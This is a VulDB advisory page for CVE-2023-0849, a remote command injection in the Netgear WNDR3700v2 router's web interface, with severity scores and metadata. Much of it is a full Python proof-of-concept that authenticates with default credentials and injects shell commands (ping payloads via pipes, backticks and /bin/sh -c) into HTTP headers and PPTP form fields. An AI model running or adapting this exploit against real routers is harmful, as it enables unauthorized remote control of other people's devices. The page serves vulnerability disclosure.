Netgear WNDR3700v2 1.0.1.14 Web Interface command injection
| CVSS Meta Temp Score | Current Exploit Price (≈) | CTI Interest Score |
|---|---|---|
| 6.3 | $0-$5k | 0.00 |
Summary
A vulnerability categorized as critical has been discovered in Netgear WNDR3700v2 1.0.1.14. This affects an unknown function of the component Web Interface. Executing a manipulation can lead to command injection. This vulnerability is tracked as CVE-2023-0849. The attack can be launched remotely. Moreover, an exploit is present.
Details
A vulnerability has been found in Netgear WNDR3700v2 1.0.1.14 (Wireless LAN Software) and classified as critical. This vulnerability affects an unknown functionality of the component Web Interface. The manipulation with an unknown input leads to a command injection vulnerability. The CWE definition for the vulnerability is CWE-77. The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component. As an impact it is known to affect confidentiality, integrity, and availability.
The weakness was disclosed 02/15/2023. This vulnerability was named CVE-2023-0849. Technical details are unknown but a public exploit is available. The MITRE ATT&CK project declares the attack technique as T1202.
It is possible to download the exploit at vuldb.com. It is declared as proof-of-concept. The code used by the exploit is:
import requests,socket
import re
import time
from urllib.parse import urlencode
username = 'admin'
password = 'password'
device_web_ip = '192.168.1.1'
ping_target = '192.168.1.2'
request = {'HEAD':
{'Host': '{}'.format(device_web_ip),
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 -e \'exec "/bin/sh -c ping -c 1 {}";\' '.format(ping_target),
'Accept': "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 -p '`/bin/sh -c ping -c 1 {} 1>&0`' ".format(ping_target),
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/x-www-form-urlencoded',
'Origin': 'http://127.0.0.1:8081',
# 'Authorization': 'Basic YWRtaW46cGFzc3dvcmQ=',
'Connection': 'keep-alive',
'Referer': 'http://127.0.0.1:8081/BAS_pptp.htm',
'Upgrade-Insecure-Requests': '1'},
'PARAM':
{'submit_flag': 'pptp',
'change_wan_type': 0,
'run_test': 'no',
'pptp_myip': '/index.html|ping -c 1 {}|'.format(ping_target),
'pptp_gateway': '192.168.55.6/../../../../../../../../../../../../dev/console',
'pptp_subnet': '255.255.255.0',
'pptp_dnsaddr1': "192.168.55.1 -x sh -c 'reset; exec ping -c 1 {} 1>&0 2>&0' ".format(ping_target),
'pptp_dnsaddr2': '192.168.55.2', 'hidden_pptp_idle_time': '5',
'conflict_wanlan': '',
'hid_mtu_value': 1436,
'hid_pptp_dod': 1,
'login_type': " -p '`/bin/sh -c ping -c 1 {} 1>&0`' ".format(ping_target),
'pptp_username': 'dummy -s --eval=$\'x:\n\t-\'"ping -c 1 {}" '.format(ping_target),
'pptp_passwd': 'dummy',
'pptp_dod': 1,
'pptp_idletime': 255,
'myip_1': 192,
'myip_3': 55,
'myip_4': 5,
'WANAssign': 1,
'mymask_1': '',
'mymask_2': '',
'mymask_3': '',
'mymask_4': '',
'pptp_serv_ip': '10.0.0.138',
'mygw_1': '192',
'mygw_2': 168,
'mygw_3': 55,
'mygw_4': 6,
'Gateway': '',
'pptp_conn_id': 'dummy',
'DNSAssign': 1,
'DAddr1': 192,
'DAddr2': 168,
'DAddr3': 55,
'DAddr4': 4278190081,
'PDAddr1': 255,
'PDAddr2': 168,
'PDAddr3': 55,
'PDAddr4': 2,
'Spoofmac': '52:54:00:12:34:66',
'Apply': 'Apply',
'wds_endis_ip_client': '',
'ipv6_primary_dns_fixed': '',
'out_of_range': '',
'repeater_mac1': '',
'network': '',
'domain_name': '<% cfg_sed_xss(',
'repeater_ip_a': '',
'system_name': ''
},
'ATTR':
{'URL': 'http://{}/apply.cgi?/BAS_update.htm timestamp=40908312'.format(device_web_ip),
'METHOD': 'POST',
'VERSION': 'HTTP/1.1'
}
}
headers = request['HEAD']
params = request['PARAM']
method = request['ATTR']['METHOD']
url = request['ATTR']['URL']
probe = 'http://{}/BAS_pptp.htm'.format(device_web_ip)
loop = 3
r = None
while loop>0:
try:
loop -= 1
r = requests.get(url=probe,headers=headers,auth=(username,password),timeout=0.5)
if r is not None and r.status_code != 200:
time.sleep((3-loop)*3)
elif r is not None and r.status_code == 200:
break
except Exception as e:
time.sleep((3-loop)*3)
print('Send token probe error:{}'.format(e))
timestamp = None
if r is not None and r.status_code == 200:
body = r.text.replace('%20',' ')
pat = r'action="(.*?) timestamp=(.*?)"'
res = re.findall(pat, body)
if len(res) > 0 and len(res[0])==2:
uri_half = res[0][0]
timestamp = res[0][1]
print('new timestamp:{}'.format(timestamp))
if timestamp is not None:
pos = url.find(' timestamp=')
url_tmp = url[:pos] + ' timestamp=' + timestamp
url = url_tmp
r = requests.request(method=method,url=url,headers=headers,auth=(username,password),data=params,verify=False,timeout=0.5)There is no information about possible countermeasures known. It may be suggested to replace the affected object with an alternative product.
VulDB is the best source for vulnerability data and more expert information about this specific topic.
Product
Type
Vendor
Name
Version
License
Website
- Vendor: https://www.netgear.com/
CPE 2.3
CPE 2.2
CVSSv4
VulDB Vector: 🔍VulDB Reliability: 🔍
CVSSv3
VulDB Meta Base Score: 6.4VulDB Meta Temp Score: 6.3
VulDB Base Score: 4.7
VulDB Temp Score: 4.3
VulDB Vector: 🔍
VulDB Reliability: 🔍
NVD Base Score: 9.8
NVD Vector: 🔍
CNA Base Score: 4.7
CNA Vector (VulDB): 🔍
CVSSv2
| AV | AC | Au | C | I | A |
|---|---|---|---|---|---|
| 💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
| 💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
| 💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
| Vector | Complexity | Authentication | Confidentiality | Integrity | Availability |
|---|---|---|---|---|---|
| Unlock | Unlock | Unlock | Unlock | Unlock | Unlock |
| Unlock | Unlock | Unlock | Unlock | Unlock | Unlock |
| Unlock | Unlock | Unlock | Unlock | Unlock | Unlock |
VulDB Base Score: 🔍
VulDB Temp Score: 🔍
VulDB Reliability: 🔍
NVD Base Score: 🔍
Exploiting
Class: Command injectionCWE: CWE-77 / CWE-74 / CWE-707
CAPEC: 🔍
ATT&CK: 🔍
Physical: No
Local: No
Remote: Yes
Availability: 🔍
Access: Public
Status: Proof-of-Concept
Download: 🔍
EPSS Score: 🔍
EPSS Percentile: 🔍
Price Prediction: 🔍
Current Price Estimation: 🔍
| 0-Day | Unlock | Unlock | Unlock | Unlock |
|---|---|---|---|---|
| Today | Unlock | Unlock | Unlock | Unlock |
Threat Intelligence
Interest: 🔍Active Actors: 🔍
Active APT Groups: 🔍
Countermeasures
Recommended: no mitigation knownStatus: 🔍
0-Day Time: 🔍
Timeline
02/15/2023 🔍02/15/2023 🔍
02/15/2023 🔍
03/16/2023 🔍
Sources
Vendor: netgear.comStatus: Not defined
CVE: CVE-2023-0849 (🔍)
GCVE (CVE): GCVE-0-2023-0849
GCVE (VulDB): GCVE-100-221152
scip Labs: https://www.scip.ch/en/?labs.20161013
Entry
Created: 02/15/2023 22:47Updated: 03/16/2023 10:11
Changes: 02/15/2023 22:47 (39), 02/15/2023 22:48 (1), 03/16/2023 10:05 (2), 03/16/2023 10:11 (28)
Complete: 🔍
Submitter: leetsun
Cache ID: 216::103
Submit
Accepted
- Submit #87903: Command injection in Netgear router WNDR3700v2 (by leetsun)
VulDB is the best source for vulnerability data and more expert information about this specific topic.
No comments yet. Languages: en.
Please log in to comment.